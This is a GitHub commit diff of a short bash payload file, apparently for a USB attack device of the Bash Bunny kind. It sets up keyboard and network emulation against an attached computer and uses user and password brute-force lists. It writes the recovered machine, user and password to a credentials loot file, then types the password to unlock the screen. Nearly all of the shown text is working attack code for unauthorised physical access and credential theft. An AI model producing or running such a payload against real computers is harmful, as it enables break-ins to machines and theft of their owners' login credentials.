Update payload.txt

This commit is contained in:
Mohamed A. Baset 2019-05-30 04:01:38 -05:00 committed by GitHub
parent 072c659943
commit 0068cfccd5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -5,13 +5,13 @@
# PS: This is the shittiest bash script you'll ever see :D
password_process_file="$ORIGINAL_SWITCH/ppf.txt"
password_to_quack="$ORIGINAL_SWITCH/p2q.txt"
password_loot_file="$ORIGINAL_SWITCH/credentials.txt"
user_bruteforce_list="$ORIGINAL_SWITCH/userlist.txt"
pass_bruteforce_list="$ORIGINAL_SWITCH/passlist.txt"
# Setup
LED SETUP
CUCUMBER PLAID
ATTACKMODE HID RNDIS_ETHERNET
mount /dev/nandf /root/udisk/
GET TARGET_IP
@ -33,15 +33,18 @@ LED G
# Extract and Store the loot, then quack it
pass=$(cat $password_process_file | grep "./" | cut -d "/" -f 2 | cut -d ":" -f 2)
echo "Machine: $TARGET_HOSTNAME - User: $user - Pass: $pass" >> $password_loot_file
echo "STRING $pass" > $password_to_quack
sync
QUACK $password_to_quack
# Waking up the screen if sleeping, if not, pressing "ESC" won't affect anything
QUACK ESC
sleep 1
QUACK STRING $pass
sleep 1
QUACK ENTER
rm $password_to_quack 2> /dev/null
else
LED FAIL
fi
# Finishing
LED CLEANUP
sync; sleep 1; sync
LED FINISH